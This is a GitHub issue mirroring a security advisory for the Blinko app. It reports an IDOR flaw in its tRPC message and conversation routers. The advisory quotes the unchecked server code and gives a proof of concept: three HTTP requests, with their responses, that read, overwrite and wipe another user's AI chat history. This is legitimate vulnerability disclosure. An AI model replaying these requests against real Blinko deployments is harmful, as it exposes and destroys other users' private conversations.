Skip to content

Cross-User AI Conversation Read/Write via message Router IDOR #1218

Description

@geo-chen

reported on 4 June 2026: https://github.com/blinkospace/blinko/security/advisories/GHSA-hx97-pqhv-p58w

Summary

Multiple procedures in the message tRPC router (message.list, message.update, message.delete, message.clearAfter) and the conversation.clearMessages procedure lack ownership checks. Any authenticated user can read the full AI chat history of any other user's conversation, modify or delete individual messages, and wipe entire conversation histories by supplying arbitrary conversationId or message id values.

Details

All affected procedures are in server/routerTrpc/message.ts and server/routerTrpc/conversation.ts. Each is declared as authProcedure (authentication required) but queries Prisma directly by caller-supplied ID without verifying that the conversation or message belongs to ctx.id.

message.list (server/routerTrpc/message.ts, approximately lines 22-45):

.query(async ({ input, ctx }) => {
  const [total, messages] = await Promise.all([
    prisma.message.count({ where: { conversationId: input.conversationId } }),
    prisma.message.findMany({ where: { conversationId: input.conversationId }, ... })
  ]);
  return messages;  // no accountId check anywhere
})

message.update (approximately lines 47-60):

.mutation(async ({ input, ctx }) => {
  return await prisma.message.update({
    where: { id: input.id },   // no ownership check
    data: { content: input.content },
  });
})

message.delete and message.clearAfter follow the same pattern: they look up a message by ID to get its conversationId, then delete by conversationId and time range without ever verifying the conversation belongs to ctx.id.

conversation.clearMessages in server/routerTrpc/conversation.ts (approximately lines 14-22):

.mutation(async ({ input }) => {
  await prisma.message.deleteMany({ where: { conversationId: input.id } });
  return { success: true }
})

The parameter input is destructured without ctx, so the caller's identity is never consulted.

Compare with conversation.detail and conversation.delete, which correctly filter:

where: { id: input.id, accountId: Number(ctx.id) }

Conversation IDs and message IDs are sequential integers and trivially enumerable.

PoC

Setup: admin (id=1) creates conversation id=1 with one message id=1 ("ADMIN SECRET AI CHAT"). userB (id=2) is a separate low-privilege account with no relation to this conversation.

Step 1 -- Read admin's private AI chat history:

GET /api/trpc/message.list?input={"json":{"conversationId":1,"page":1,"size":20}} HTTP/1.1
Authorization: Bearer <USERB_TOKEN>

Response HTTP 200:
{"result":{"data":{"json":[{"id":1,"role":"user","content":"ADMIN SECRET AI CHAT",...}]}}}

Step 2 -- Modify admin's message content:

POST /api/trpc/message.update HTTP/1.1
Authorization: Bearer <USERB_TOKEN>
Content-Type: application/json

{"json": {"id": 1, "content": "Injected content by userB"}}

Response HTTP 200:
{"result":{"data":{"json":{"id":1,"content":"Injected content by userB",...}}}}

Step 3 -- Wipe all messages from admin's conversation:

POST /api/trpc/conversation.clearMessages HTTP/1.1
Authorization: Bearer <USERB_TOKEN>
Content-Type: application/json

{"json": {"id": 1}}

Response HTTP 200:
{"result":{"data":{"json":{"success":true}}}}

All three operations succeed with HTTP 200. The admin's conversation history is now tampered and can be verified via conversation.detail which shows an empty messages array.

Impact

Any authenticated user can read, modify, and delete the AI conversation history of any other user. This affects:

Confidentiality: full AI chat history including prompts, assistant responses, and any sensitive content the user shared with the AI is readable by any other account.

Integrity: message content can be overwritten to plant false information in a user's conversation history, affecting AI context in future sessions.

Availability: entire conversation histories can be wiped via conversation.clearMessages, causing permanent loss of chat context.

The impact is present in all multi-user Blinko deployments where AI features are enabled.

Affected versions
commit bb1cbce (v1.8.7)

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions